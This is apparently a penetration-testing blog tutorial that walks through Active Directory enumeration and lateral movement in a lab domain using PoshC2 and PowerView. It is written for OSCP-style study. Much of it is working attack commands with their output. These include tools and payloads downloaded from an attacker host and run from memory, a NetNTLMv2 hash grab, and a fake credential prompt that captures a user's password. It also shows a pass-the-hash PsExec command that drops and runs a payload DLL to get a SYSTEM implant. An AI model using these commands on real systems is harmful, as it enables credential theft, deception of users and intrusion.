Preamble

The Penetration Testing with Kali Linux course offered by Offensive Security (PWK) covers a lot of ground important to every penetration tester, but it can't cover everything. Some topics are only touched upon briefly in the textbook and your knowledge of them isn't thoroughly tested in the lab. The intent of this series is to expand upon and fill in some gaps left by the PWK course, so that you're confident in your ability to handle Windows networks. This series covers techniques that I've learned from the best researchers in the field, done in a step-by-step fashion.

All of the topics in this series will have some things in common.

Shields Up - Wherever possible, the payloads, post-exploitation steps, techniques and procedures demonstrated will happen on Windows machines with some level of defenses active. Normal endpoint defenses like AV and AMSI will be present. UAC will be active and set to default. PowerShell logging will be active. PowerShell execution policy will be default for the OS. The idea is to replicate a reasonable default defensive posture.

Low privileges by default - Where applicable, I'm not going to begin conveniently as local Administrator. Too many Active Directory post exploitation tutorials begin with "Once on the machine, just magically privesc to local admin, and then...". This is unhelpful. We're going to explore what to do when high privileges don't just fall into your lap.

Narrow tool focus - These articles will focus on using a small set of tools. Finding good projects that are maintained and responsive to bug reports and pull requests is difficult in this space. The gems that get continued support are worth investing time into.

Overview - Demonstrating Tech

In the last article we went over all the various enumeration techniques available to you from PoshC2 and PowerView, among others.

The purpose of this article is to Show, not Tell. It will demonstrate a selection of the concepts previously discussed, in order to show the methodology one might employ as an adversary on an engagement.

One huge caveat should be addressed up front; this article won't talk much about risk of detection. Understanding the footprints you leave as an adversary is important and deserves its own post, so I'll leave that discussion for later.

Each 'route' starts with the assumption that your PoshC2 implant is running on the compromised system, either from a phish or some other targeted attack. I will demonstrate domain enumeration and lateral movement, while increasing my privileges at each step. I stop when either DA creds are in hand, or some functional equivalent has been achieved. For each action I take I show the command and the output, unless the command is obvious or trivial.

Each 'route' represents a reset; I start over and begin anew with a different path. I don't keep privileges or credentials I find from other routes.

Working with PoshC2

This will be the first time I interact with PoshC2 extensively in one of these posts, so it may help to explain quickly how interacting with the Implants works.

As I've mentioned previously, once you select an Implant in PoshC2, you're already at a remote shell. There's no concept in PoshC2 about separate module contexts, as in Metasploit. You don't 'background' an Implant to do something else like working with a module. If you leave a given Implant's context, it's usually because you're switching to another Implant, flushing tasks, or closing the ImplantHandler. Your remote PowerShell runspace will hold all the modules you load, and you don't need to leave the remote context to get work done.

Anything you could do at a normal PowerShell prompt, you can do when working with the Implant. ls, pwd, Get-Process, command piping, all work as you'd expect. Only certain commands, mostly around implant manipulation, are processed server-side without being sent to the Implant.

PoshC2 doesn't care about case sensitivity for the remote commands. The only meaningful exception is where the command you're invoking cares, like the case of rundll32.

PoshC2 can be picky (because PowerShell is picky) about how you use single and double quotes. Where I've mixed the two in the commands I've referenced, it has to be the way shown for the command to work properly.

Don't run processes that will block your Implant. I also noted in the previous article which cmdlets take a long time to run but aren't actually blocking.

PoshC2 ships with a couple of different versions of the PowerView toolset, used extensively in this post. They are powerview.ps1 and powerview_dev.ps1. This section is using the 'dev' version. I just deleted the older version and renamed the 'dev' file to something more convenient. PoshC2's help and tab completions mostly-but-not-always reference the updated naming conventions outlined by Harmj0y here. Once you load the PowerView module, I would just count on typing out the cmdlet names rather than trying to use any completions provided by PoshC2. Otherwise you might get the occasional "This cmdlet etc etc couldn't be found" error.

A quick note on PSCredential

I said in the last post that I would mention how PSCredentials work, so here's that before we start.

Essentially, a PSCredential is a way to store a username and password in a reasonably secured way in PowerShell. The form for creating one looks like this.

$cred = New-Object System.Management.Automation.PSCredential('<domain>\<user>', (ConvertTo-SecureString '<pass>' -AsPlainText -Force))

You may then use your $cred in a cmdlet that takes a PSCredential, usually with a -credential argument. Try to give your PSCredential object a useful name. I usually go with something like $cred_username in order to keep them straight. That way, using the Get-Variable cmdlet will list your $creds.

Get-Variable cred*

PS C:\Users\jhick> Get-Variable cred*

Name                           Value
----                           -----
cred_user                     System.Management.Automation.PSCredential

Common route

So let's start off with some baseline AD enumeration. Let's see what I can find.

Context: userguyone@alpha

get-domain |Select name,domaincontrollers,forest,parent

Name             DomainControllers               Forest           Parent
----             -----------------               ------           ------
0metalab.private {0metaLabDC01.0metalab.private} 0metalab.private

So I can see that 0metalab.private is the workstation's domain, and that it is the top-level domain since there's no parent entry.

get-domaincontroller | Select name,IPAddress,OSVersion

Name                          IPAddress  OSVersion
----                          ---------  ---------
0metaLabDC01.0metalab.private 10.10.10.4 Windows Server 2012 Standard

There's the actual DC. It's also running an older version of Windows Server, which means the domain functional level probably isn't at the newest setting.

get-domaingroup -Properties name,whencreated

whencreated            name
-----------            ----
5/12/2018 11:59:34 AM  WinRMRemoteWMIUsers__
5/12/2018 11:59:34 AM  Administrators
5/12/2018 11:59:34 AM  Users
5/12/2018 11:59:34 AM  Guests
5/12/2018 11:59:34 AM  Print Operators
5/12/2018 11:59:34 AM  Backup Operators
5/12/2018 11:59:34 AM  Replicator
5/12/2018 11:59:34 AM  Remote Desktop Users
5/12/2018 11:59:34 AM  Network Configuration Operators
5/12/2018 11:59:34 AM  Performance Monitor Users
5/12/2018 11:59:34 AM  Performance Log Users
5/12/2018 11:59:34 AM  Distributed COM Users
5/12/2018 11:59:34 AM  IIS_IUSRS
5/12/2018 11:59:34 AM  Cryptographic Operators
5/12/2018 11:59:34 AM  Event Log Readers
5/12/2018 11:59:34 AM  Certificate Service DCOM Access
5/12/2018 11:59:34 AM  RDS Remote Access Servers
5/12/2018 11:59:34 AM  RDS Endpoint Servers
5/12/2018 11:59:34 AM  RDS Management Servers
5/12/2018 11:59:34 AM  Hyper-V Administrators
5/12/2018 11:59:34 AM  Access Control Assistance Operators
5/12/2018 11:59:34 AM  Remote Management Users
5/12/2018 12:00:17 PM  Domain Computers
5/12/2018 12:00:17 PM  Domain Controllers
5/12/2018 12:00:17 PM  Schema Admins
5/12/2018 12:00:17 PM  Enterprise Admins
5/12/2018 12:00:17 PM  Cert Publishers
5/12/2018 12:00:17 PM  Domain Admins
5/12/2018 12:00:17 PM  Domain Users
5/12/2018 12:00:17 PM  Domain Guests
5/12/2018 12:00:17 PM  Group Policy Creator Owners
5/12/2018 12:00:17 PM  RAS and IAS Servers
5/12/2018 12:00:17 PM  Server Operators
5/12/2018 12:00:17 PM  Account Operators
5/12/2018 12:00:17 PM  Pre-Windows 2000 Compatible Access
5/12/2018 12:00:17 PM  Incoming Forest Trust Builders
5/12/2018 12:00:17 PM  Windows Authorization Access Group
5/12/2018 12:00:17 PM  Terminal Server License Servers
5/12/2018 12:00:17 PM  Allowed RODC Password Replication Group
5/12/2018 12:00:17 PM  Denied RODC Password Replication Group
5/12/2018 12:00:17 PM  Read-only Domain Controllers
5/12/2018 12:00:17 PM  Enterprise Read-only Domain Controllers
5/12/2018 12:00:17 PM  Cloneable Domain Controllers
5/12/2018 12:00:57 PM  DnsAdmins
5/12/2018 12:00:57 PM  DnsUpdateProxy
12/14/2018 11:57:31 AM PSRemoting

These groups look very normal and all that. Mostly. What's that there at the end with the conveniently not-the-same datestamp? I'll have a closer look at that group in a moment.

Get-DomainManagedSecurityGroup

Null return

So none of the groups in the AD have entries in the "Managed By" tab in their Properties. If there were, and the account was one I could access, I'd note that group for later investigation. For now, back to that interesting group...

Get-DomainGroupMember -Identity 'PSRemoting' | Select membername

MemberName
----------
derpyguy

Must be the new guy... So there is a single member in the PSRemoting group. From the name, I can reasonably infer that members of this group can PSRemote to some machine or group of machines. I'll keep this in my pocket and resume enumerating.

Get-DomainFileserver

Null Return

Get-DomainFileServer uses a heuristic based on polling user objects in LDAP for any script or homedirectory paths, and infers from that a list of potential 'file servers' on the network. No hits for that on this domain though.

Find-DomainShare -checkshareaccess | Where {$_.name -notlike "*$"} | select name,computername

Name     ComputerName
----     ------------
NETLOGON 0metaLabDC01.0metalab.private
SYSVOL   0metaLabDC01.0metalab.private
Users    0METALABDC02.0metalab.private

Ah, but this more noisy method turned out a 'Users' share on 0metalabdc02. I'll make a note of the share and probably have a look around later.

Get-DomainComputer -Properties dnshostname,operatingsystem,useraccountcontrol

dnshostname                                             useraccountcontrol operatingsystem
-----------                                             ------------------ ---------------
0metaLabDC01.0metalab.private SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION Windows Server 2012 Standard
0METALABDC02.0metalab.private                    WORKSTATION_TRUST_ACCOUNT Windows Server 2012 Standard
beta.0metalab.private                            WORKSTATION_TRUST_ACCOUNT Windows 10 Pro
alpha.0metalab.private                           WORKSTATION_TRUST_ACCOUNT Windows 10 Pro
DELTA.0metalab.private                           WORKSTATION_TRUST_ACCOUNT Windows 7 Professional
GAMMA.0metalab.private                           WORKSTATION_TRUST_ACCOUNT Windows 7 Professional

Here's the first look at the other machines on the AD. There are a pair of Windows 10 workstations, a pair of Windows 7 workstations, and the two servers I already enumerated.

Get-LocalGroupMember Administrators

ObjectClass Name                   PrincipalSource
----------- ----                   ---------------
Group       0METALAB\Domain Admins ActiveDirectory
User        ALPHA\Administrator    Local
User        ALPHA\alpha_local      Local

A little bit of local host enumeration shows a pretty typical config, although there's a specific local non-RID 500 admin account. Hmm. Might be the intended account for performing local admin tasks over RDP?

powershell -command '[System.Reflection.Assembly]::Load((iwr -usebasicparsing http://192.168.10.3:10000/Seatbelt.dll).content); [Seatbelt.Program]::SystemChecks()'| out-file c:\users\public\userchecks.log

Below is the output of the SystemChecks() method; UserChecks() didn't really return anything worth going over.

system:  
=== Basic OS Information ===

  Hostname                      :  alpha
  Domain Name                   :  0metalab.private
  Username                      :  0METALAB\userguyone
  ProductName                   :  Windows 10 Pro
  EditionID                     :  Professional
  ReleaseId                     :  1803
  BuildBranch                   :  rs4_release
  CurrentMajorVersionNumber     :  10
  CurrentVersion                :  6.3
  Architecture                  :  AMD64
  ProcessorCount                :  4
  IsVirtualMachine              :  False
  BootTime (approx)             :  1/23/2019 7:01:40 AM
  HighIntegrity                 :  False
  IsLocalAdmin                  :  False

=== Reboot Schedule (event ID 12/13 from last 15 days) ===

  [X] Exception: Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: index
  1/9/2019 5:42:09 PM     :  shutdown



=== Current Privileges ===

                          SeShutdownPrivilege:  DISABLED
                      SeChangeNotifyPrivilege:  SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
                            SeUndockPrivilege:  DISABLED
                SeIncreaseWorkingSetPrivilege:  DISABLED
                          SeTimeZonePrivilege:  DISABLED


=== UAC System Policies ===

  ConsentPromptBehaviorAdmin     : 5 - PromptForNonWindowsBinaries
  EnableLUA                      : 1
  LocalAccountTokenFilterPolicy  :
  FilterAdministratorToken       :
    [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.
    [*] Only the RID-500 local admin account can be used for lateral movement.


=== PowerShell Settings ===

  PowerShell v2 Version          : 2.0
  PowerShell v5 Version          : 5.1.17134.1

  Transcription Settings:

  Module Logging Settings:

  Scriptblock Logging Settings:


=== Non Microsoft Services (via WMI) ===

  Name             : AVG Antivirus
  DisplayName      : AVG Antivirus
  Company Name     : AVG Technologies CZ, s.r.o.
  Description      : Manages and implements AVG antivirus services for this computer. This includes the real-time protection, the Quarantine and the scheduler.
  State            : Running
  StartMode        : Auto
  PathName         : "C:\Program Files\AVG\Antivirus\AVGSvc.exe"
  IsDotNet         : False

  Name             : avgbIDSAgent
  DisplayName      : avgbIDSAgent
  Company Name     : AVG Technologies CZ, s.r.o.
  Description      : Provides Identity Protection Against Cyber Crime.
  State            : Running
  StartMode        : Manual
  PathName         : "C:\Program Files\AVG\Antivirus\aswidsagent.exe"
  IsDotNet         : False

  Name             : AvgWscReporter
  DisplayName      : AvgWscReporter
  Company Name     : AVG Technologies CZ, s.r.o.
  Description      :
  State            : Stopped
  StartMode        : Manual
  PathName         : "C:\Program Files\AVG\Antivirus\wsc_proxy.exe" /runassvc
  IsDotNet         : False  

=== Local Group Memberships ===

  * Administrators *

    ALPHA\Administrator
    ALPHA\alpha_local
    0METALAB\Domain Admins

  * Remote Desktop Users *

    0METALAB\userguyone
    0METALAB\userguythree
    0METALAB\userguytwo
    0METALAB\adminguyone

  * Distributed COM Users *


  * Remote Management Users *

There's plenty to see here. I've gotten a glimpse at some of the other domain user accounts, as well as who has RDP rights on this host. AVG AV is running on the machine as well. I'm 'userguyone,' and I don't have any particular local rights. Windows is release 1803. Not the newest, freshest version, but it still has plenty of mitigations and defenses.

In the UAC section, I can see that only the RID 500 account can perform admin tasks against this host over anything that isn't RDP. That means WMI, PsExec, DCOM, sc, etc. For more info on this distinction about RID 500 vs. non-RID 500, @harmj0y has a thorough explaination here

Get-DomainUsers -Properties cn,memberof,pwdlastset

pwdlastset            cn             memberof
----------            --             --------
12/14/2018 3:43:18 AM Administrator  {CN=Group Policy Creator Owners,CN=Users,DC=0metalab,DC=private, CN=Domain Admin...
12/31/1600 4:00:00 PM Guest          CN=Guests,CN=Builtin,DC=0metalab,DC=private
5/12/2018 5:00:17 AM  krbtgt         CN=Denied RODC Password Replication Group,CN=Users,DC=0metalab,DC=private
5/12/2018 5:11:15 AM  User Guy One   CN=Remote Desktop Users,CN=Builtin,DC=0metalab,DC=private
5/12/2018 5:12:01 AM  User Guy Two   CN=Remote Desktop Users,CN=Builtin,DC=0metalab,DC=private
5/12/2018 5:13:35 AM  User Guy Three {CN=Account Operators,CN=Builtin,DC=0metalab,DC=private, CN=Remote Desktop Users...
5/12/2018 5:16:19 AM  Admin Guy One  {CN=Domain Admins,CN=Users,DC=0metalab,DC=private, CN=Remote Desktop Users,CN=Bu...
12/14/2018 3:50:00 AM Derpy Guy      CN=PSRemoting,CN=Users,DC=0metalab,DC=private

Confirming the user list I got from the Remote Desktop Users group info before, I don't see anything unexpected here.

Or do I? Looks like userguythree is actually a member of the Account Operators group. Let's have a closer look at their LDAP object.

Get-DomainUser -identity userguythree

logoncount            : 7
badpasswordtime       : 12/31/1600 4:00:00 PM
distinguishedname     : CN=User Guy Three,OU=Users,OU=Lab,DC=0metalab,DC=private
objectclass           : {top, person, organizationalPerson, user}
displayname           : User Guy Three
lastlogontimestamp    : 12/1/2018 12:07:09 AM
userprincipalname     : userguythree@0metalab.private
name                  : User Guy Three
objectsid             : S-1-5-21-1859574994-4172712319-709742153-1106
samaccountname        : userguythree
admincount            : 1
codepage              : 0
samaccounttype        : USER_OBJECT
accountexpires        : NEVER
countrycode           : 0
whenchanged           : 1/22/2019 7:52:15 AM
instancetype          : 4
usncreated            : 12745
objectguid            : 89c6e3f4-8a3d-4f94-a5fe-7cebfd5f206c
sn                    : Guy Three
lastlogoff            : 12/31/1600 4:00:00 PM
objectcategory        : CN=Person,CN=Schema,CN=Configuration,DC=0metalab,DC=private
dscorepropagationdata : {1/22/2019 7:52:15 AM, 1/22/2019 7:26:25 AM, 1/22/2019 7:24:41 AM, 1/9/2019 5:42:21 AM...}
givenname             : User
memberof              : {CN=Account Operators,CN=Builtin,DC=0metalab,DC=private, CN=Remote Desktop
                        Users,CN=Builtin,DC=0metalab,DC=private}
lastlogon             : 12/12/2018 10:58:02 PM
badpwdcount           : 0
cn                    : User Guy Three
useraccountcontrol    : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated           : 5/12/2018 12:13:35 PM
primarygroupid        : 513
pwdlastset            : 5/12/2018 5:13:35 AM
usnchanged            : 129146

Here I get my first hit on an OU, 'Lab', as well as the 'Admincount = 1' property, confirming that this account is (or was) a member of a protected AD group.

You can read about the Account Operators group (AO), and note the rights delegated to that group. They can modify the membership of principal groups, but not change the rights of the groups themselves.

There's some confusion online about whether or not AO can self-elevate to DA or other privileged accounts. AO can self-elevate, if there is already a non-builtin group that is a member of the Server Operators, Domain Admins, Enterprise Admin, or local Administrators groups. In the case of a such a 'nested' group, AO users can put themselves or other principals and principal groups into that nested group, thus elevating their privileges. In my case, those privileged groups don't contain any groups. So this potential escalation path doesn't apply.

Get-DomainUser -identity derpyguy

logoncount            : 4
badpasswordtime       : 12/31/1600 4:00:00 PM
distinguishedname     : CN=Derpy Guy,OU=Users,OU=Lab,DC=0metalab,DC=private
objectclass           : {top, person, organizationalPerson, user}
displayname           : Derpy Guy
lastlogontimestamp    : 12/14/2018 4:14:15 AM
userprincipalname     : derpyguy@0metalab.private
name                  : Derpy Guy
objectsid             : S-1-5-21-1859574994-4172712319-709742153-1115
samaccountname        : derpyguy
codepage              : 0
samaccounttype        : USER_OBJECT
accountexpires        : NEVER
countrycode           : 0
whenchanged           : 12/14/2018 12:24:49 PM
instancetype          : 4
usncreated            : 118840
objectguid            : 357564e0-ed2c-474e-9977-63a343a3f1bc
sn                    : Guy
lastlogoff            : 12/31/1600 4:00:00 PM
objectcategory        : CN=Person,CN=Schema,CN=Configuration,DC=0metalab,DC=private
dscorepropagationdata : {1/22/2019 7:26:25 AM, 1/22/2019 7:24:41 AM, 1/9/2019 5:42:21 AM, 1/9/2019 5:42:07 AM...}
serviceprincipalname  : http/0metalabdc02.0metalab.private/InternalSite
givenname             : Derpy
memberof              : CN=PSRemoting,CN=Users,DC=0metalab,DC=private
lastlogon             : 12/14/2018 4:39:14 AM
badpwdcount           : 0
cn                    : Derpy Guy
useraccountcontrol    : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated           : 12/14/2018 11:50:00 AM
primarygroupid        : 513
pwdlastset            : 12/14/2018 3:50:00 AM
usnchanged            : 118883

I'll also take a closer look at derpyguy, confirming again the membership in the PSRemoting group, as well as being in the 'Lab' OU. You can also see the SPN I kerberoasted before.

It seems reasonable at this point to infer that since I have the creds from derpyguy, I have PSRemoting rights, and thus lateral movement capability to at least some machine(s) on the network. A reasonable guess would be 0metalabdc02. Given the machine's name, I'd expect the host to be a DC, but our enumeration thus far has shown that not to be the case. Curious. Maybe they were planning, or are currently planning on promoting the host to the DC role. Running a webserver on a DC seems like a bad idea though, so perhaps the client is waiting to deal with that before proceeding with the promotion.

There's definitely some leads to follow already, but I'm going to continue enumerating.

Get-DomainGPO | Select displayname,whencreated

displayname                       whencreated
-----------                       -----------
Default Domain Policy             5/12/2018 11:59:33 AM
Default Domain Controllers Policy 5/12/2018 11:59:33 AM
Firewall rules                    5/16/2018 12:19:41 PM
PS Remoting Rights                12/14/2018 12:00:04 PM
Desktop Shortcut                  1/19/2019 7:56:01 AM

Aha. So there's the GPO for PSRemoting I was expecting to find, based on the info so far. You can also see a very new GPO for a desktop customization, presumably.

I need to get a full accounting of the OUs in the AD, so I can start to map where each GPO is applied.

Get-DomainOU -Properties distingishedname,description,whencreated

description                              distinguishedname                                    whencreated
-----------                              -----------------                                    -----------
Default container for domain controllers OU=Domain Controllers,DC=0metalab,DC=private         5/12/2018 11:59:34 AM
                                         OU=Lab,DC=0metalab,DC=private                        5/16/2018 12:13:19 PM
                                         OU=Computers,OU=Lab,DC=0metalab,DC=private           5/16/2018 12:13:59 PM
                                         OU=Users,OU=Lab,DC=0metalab,DC=private               5/16/2018 12:14:27 PM
                                         OU=Application Servers,OU=Lab,DC=0metalab,DC=private 5/16/2018 12:16:37 PM

Alright, so I see the 'Lab' OU, and a new one, 'Application Servers.' I'm willing to bet that 0metalabdc02 is going to be a member.

Otherwise, there is a simple parent/child relationship with 'Users,' 'Application Servers,' and 'Computers' OUs being part of the 'Lab' OU.

Get-DomainComputer -Searchbase "ldap://OU=Application Servers,OU=lab,dc=0metalab,dc=private -properties dnshostname

dnshostname
-----------
0METALABDC02.0metalab.private

What'd I tell ya? So other than confirming this host as being a member of the OU, I can see that there aren't any other machines present. So whichever GPOs apply, this machine is likely to have a unique combination. Offensive folks like unique combinations. :)

Find-LocalAdminAccess

beta.0metalab.private

And I get another break! For whatever reason, 'userguyone' has admin rights on beta. This is great, because other than the potential for PSRemoting from 'derpyguy,' I didn't have any good lateral moves available to me yet. This machine might have a unique setup or files or who knows what on it that could enable further movement or recon. The urge to move now is strong, but let's finish the AD enumeration.

find-interestingdomainacl -resolveguid | select identityreferencename,activedirectoryrights,objectdn,objectacetype | fl

IdentityReferenceName : userguythree
ActiveDirectoryRights : ExtendedRight
ObjectDN              : DC=0metalab,DC=private
ObjectAceType         : DS-Replication-Get-Changes

IdentityReferenceName : userguythree
ActiveDirectoryRights : ExtendedRight
ObjectDN              : DC=0metalab,DC=private
ObjectAceType         : DS-Replication-Get-Changes-All

IdentityReferenceName : userguytwo
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
ObjectDN              : CN={2005AAC6-F999-4593-91C5-9F1E0E2A2753},CN=Policies,CN=System,DC=0metalab,DC=private
ObjectAceType         : None

IdentityReferenceName : userguytwo
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
ObjectDN              : CN=Machine,CN={2005AAC6-F999-4593-91C5-9F1E0E2A2753},CN=Policies,CN=System,DC=0metalab,DC=private
ObjectAceType         : None

IdentityReferenceName : userguytwo
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
ObjectDN              : CN=User,CN={2005AAC6-F999-4593-91C5-9F1E0E2A2753},CN=Policies,CN=System,DC=0metalab,DC=private
ObjectAceType         : None

And this is why we keep on truckin' with enumeration. There's a couple of things to be seen here.

  1. 'userguythree,' whom I already know is an Account Operator, also has the very powerful right to request and receive sychronizations of the AD database. This right can be executed remotely, from any host in the AD. This makes 'userguythree' an even hotter target.
  2. 'userguytwo' also seems to have a right, connected to a specific GPO. They have WriteProperty, but not GenericWrite. Meaning that they can't add ACEs to the DACL, but they can modify extant properties.

This is a pretty big pair of leads in themselves, and 'userguythree' is now a red hot commodity on the AD. As for the GPO rights that 'userguytwo' has, well, first I need to find out what GPO we're even talking about. The Distinguished Name is just a GUID, which doesn't mean a thing to us humans. Let's resolve it.

get-domainobject -ldapfilter "(name={2005AAC6-F999-4593-91C5-9F1E0E2A2753})" | select displayname

displayname
-----------
Desktop Shortcut

So things are starting to come together. The new-ish 'Desktop Shortcut' GPO, whatever it does, can be a powerful lateral movement tool. If I can get userguytwo's credentials. I need to know what OU or OUs the GPO links to. If it's all the workstations, that's pretty great. I could supply a scheduledtasks.xml file, place it in the SYSVOL, and get execution on any of those machines as 'SYSTEM.'

So let's find out where this GPO is linked.

get-domainou -gplink "2005AAC6-F999-4593-91C5-9F1E0E2A2753" -properties name

name
----
Domain Controllers

Oh...oh my. 'userguytwo' essentially has code execution on the DC. Definitely a high priority target, if I can get ahold of his credentials.

get-domainou -gplink "BB8A76D3-F7B4-470E-8CC3-87103021925E" -properties name

name
----
Application Servers

So the 'PS Remoting Rights' GPO is, here, confirmed to apply to the 'Application Servers' OU.

So the chain seems to be:

'derpyguy' is a member of 'PSRemoting' which applies the rights of the restricted group 'Remote Management Users' to 0metalabdc02.

I say 'seems to be' because I can't actually see the middle part yet. It's a guess based on the 'ends' of that statement that I can actually confirm remotely. The straightforward way to confirm if the right exists is to just attempt to create a PowerShell remote session and see if it works.

Maybe I can find a way to know I have the rights? Hmm...

At this point, I have a pretty clear set of potential paths to elevation. 'userguythree' has extraordinary rights on the domain. 'userguytwo' has slightly-less-extraordinary rights on the domain. 'derpyguy' has some rights on a specific computer, but as of now, he's the only user I have credentials for.

Last but not least, I have remote execution rights on beta if I get credentials for 'userguyone.'

So let's get to it.

Route 1

Context: 'userguyone'@alpha

get-hash

[+] NetNTLM Hash
userguyone::0METALAB:1122334455667788:47f9632189242d082e2920152ca1a67f:01010000000000006787fb9874b4d4017ec19e70fd5f21030000000008003000300000000000000001000000002000004cac69b4b3b3c5a88e59d753b3a152a77e097080eb6e7b86fee50e61ab9d51930a001000000000000000000000000000000000000900260030004d004500540041004c00410042005c007500730065007:006700750079006f006e0065000000000000000000

I first execute the Internal-Monologue attack to retrieve the NetNTLMv2 hash for 'userguyone.' I can toss this into the ol' GPU cruncher. I will leave a credential prompt for the user though, and see if they want to just hand me their creds directly.

(This is a demonstration. Please use care and forethought when doing opsec-breaking things like interacting with the user directly!)

cred-popper -title "0metalab Domain" -caption "Network session with server 0METALABDC01 expired. Please re-authenticate session."

[+] Cred-Popper started in background runspace

Run Get-Creds to obtain the output, when the user enters their credentials

Command returned against implant 153 on host ALPHA 0METALAB\userguyone (01/25/2019 06:35:42)

then

[+] Cred-Popper data:
userguyone
Fall2018@

Convenient!

Joking aside, since you have the NTLMv2, you should try to crack it directly. Prompting the user can lead to all sorts of unwanted scrutiny. Addionally, you'll note that the module told me it ran in a different runspace. This runspace is not AMSI-unhooked like main Implant runspace is, so if there's a signature on cred-popper, you've just exposed yourself.

Anyway, onward. For the sake of completeness, here's the NTLM hash of the password for 'userguyone':

1a75698a19c19440f638c5d2950176ef

resolve-ipaddress beta.0metalab.private

ComputerName          IPAddress
------------          ---------
beta.0metalab.private 10.10.10.15

Just a bit of housekeeping here, in case I need the IP explicitly for anything.

get-wmiprocess -computername beta.0metalab.private | select processname,user,processid

ProcessName         User            ProcessID
-----------         ----            ---------
System Idle Process                         0
System                                      4
Registry            SYSTEM                104
smss.exe            SYSTEM                536
csrss.exe           SYSTEM                716
wininit.exe         SYSTEM                796
csrss.exe           SYSTEM                808
winlogon.exe        SYSTEM                900
services.exe        SYSTEM                928
lsass.exe           SYSTEM                960
svchost.exe         SYSTEM                660
fontdrvhost.exe     UMFD-1                720
fontdrvhost.exe     UMFD-0                812
svchost.exe         NETWORK SERVICE      1044
LogonUI.exe         SYSTEM               1144
dwm.exe             DWM-1                1192
svchost.exe         SYSTEM               1204
svchost.exe         NETWORK SERVICE      1224
svchost.exe         LOCAL SERVICE        1232
svchost.exe         LOCAL SERVICE        1240
svchost.exe         LOCAL SERVICE        1248
svchost.exe         NETWORK SERVICE      1432
svchost.exe         SYSTEM               1464
svchost.exe         LOCAL SERVICE        1500
svchost.exe         SYSTEM               1860
Memory Compression  SYSTEM               1084
svchost.exe         LOCAL SERVICE        2008
svchost.exe         LOCAL SERVICE        2072
svchost.exe         LOCAL SERVICE        2080
spoolsv.exe         SYSTEM               2176
svchost.exe         SYSTEM               2320
SecurityHealthSe... SYSTEM               2368
xenagent_8_2_1_1... SYSTEM               2400
MsMpEng.exe         SYSTEM               2420
xenbus_monitor_8... SYSTEM               2436
XenGuestAgent.exe   SYSTEM               2544
svchost.exe         NETWORK SERVICE      2520
WmiPrvSE.exe        NETWORK SERVICE      3128
WmiPrvSE.exe        SYSTEM               3184
NisSrv.exe          NETWORK SERVICE      3460
svchost.exe         LOCAL SERVICE        3980
sedsvc.exe          SYSTEM               2092
SgrmBroker.exe      SYSTEM               3472
SearchIndexer.exe   SYSTEM               1156
svchost.exe         SYSTEM               2364
csrss.exe           SYSTEM               1716
winlogon.exe        SYSTEM               3364
fontdrvhost.exe     UMFD-2               1184
dwm.exe             DWM-2                2460
rdpclip.exe         userguytwo           3884
sihost.exe          userguytwo           1168
svchost.exe         userguytwo           3628
taskhostw.exe       userguytwo           3992
ctfmon.exe          userguytwo           1696
explorer.exe        userguytwo           4304
rdpinput.exe        userguytwo           4408
TabTip.exe          userguytwo           4448
ShellExperienceH... userguytwo           4156
SearchUI.exe        userguytwo           4788
RuntimeBroker.exe   userguytwo           5148
RuntimeBroker.exe   userguytwo           5212
ApplicationFrame... userguytwo           5628
MicrosoftEdge.exe   userguytwo           5904
browser_broker.exe  userguytwo           5436
svchost.exe         LOCAL SERVICE        5452
Windows.WARP.JIT... LOCAL SERVICE        5132
RuntimeBroker.exe   userguytwo           6232
RuntimeBroker.exe   userguytwo           6492
MicrosoftEdgeCP.exe userguytwo           6556
MicrosoftEdgeCP.exe userguytwo           6588
svchost.exe         LOCAL SERVICE        2104
MSASCuiL.exe        userguytwo           7900
OneDrive.exe        userguytwo           8164
Microsoft.Photos... userguytwo           6508
RuntimeBroker.exe   userguytwo           6172
conhost.exe         SYSTEM               7464
conhost.exe         SYSTEM               4764
LogonUI.exe         SYSTEM               7916
SkypeApp.exe        userguytwo           6784
RuntimeBroker.exe   userguytwo           7396
SkypeBackgroundH... userguytwo           6016

Here I scout ahead. Since I have admin privileges, I can find out if I'm walking into a bear trap by trying to move laterally. I can infer from PID 2420 that I'm dealing with a Windows Defender machine, and not AVG.

Happily, 'userguytwo' is logged in! I can infer an active RDP session from the rdpclip.exe process and explorer.exe process. Looks like they are using Edge, or were recently; I can't determine if the process is tombstoned or not from here. 'userguytwo' is an important target, so this is a huge break!

This looks like a pretty bare machine, (please ignore the immersion-breaking Xen VM agent...). No MS Office running either, so no easy DCOM techniques for me to use. Guess that means using PsExec or WMI to move.

After loading the Invoke-PsExec.ps1 module into our Implant:

invoke-psexec -target 10.10.10.15 -username userguyone -hash 1a75698a19c19440f638c5d2950176ef -command 'powershell.exe -command iwr http://192.168.10.3:10000/agent_dll.txt -outfile c:\users\public\Search.UI.Native.dll; rundll32.exe c:\users\public\Search.UI.Native.dll,VoidFunc'

Command returned against implant 153 on host ALPHA 0METALAB\userguyone (01/25/2019 07:10:27)
userguyone successfully authenticated on 10.10.10.15
userguyone is a local administrator on 10.10.10.15
Service VNMVFAYOJOSOEOPUCQQK created on 10.10.10.15
Trying to execute command on 10.10.10.15
Command executed with service VNMVFAYOJOSOEOPUCQQK on 10.10.10.15
Service VNMVFAYOJOSOEOPUCQQK deleted on 10.10.10.15

New Normal implant connected: (uri=r9MKwfH9x59J20S key=yezDdZUj3yX0DkzpThROFTG6VLK99weDBB4reQGfQR0=)
10.1.1.1:44830 | URL:https://192.168.10.3:443 | Time:01/25/2019 07:10:26 | PID:7028 | Sleep:5 | 0METALAB\NT AUTHORITY\SYSTEM (AMD64)


Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:10:32)
Module loaded sucessfully

Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:10:33)
64bit implant running on 64bit machine

[+] Powershell version 5 detected. Run Inject-Shellcode with the v2 Shellcode
[+] Warning AMSI, Constrained Mode, ScriptBlock/Module Logging could be enabled

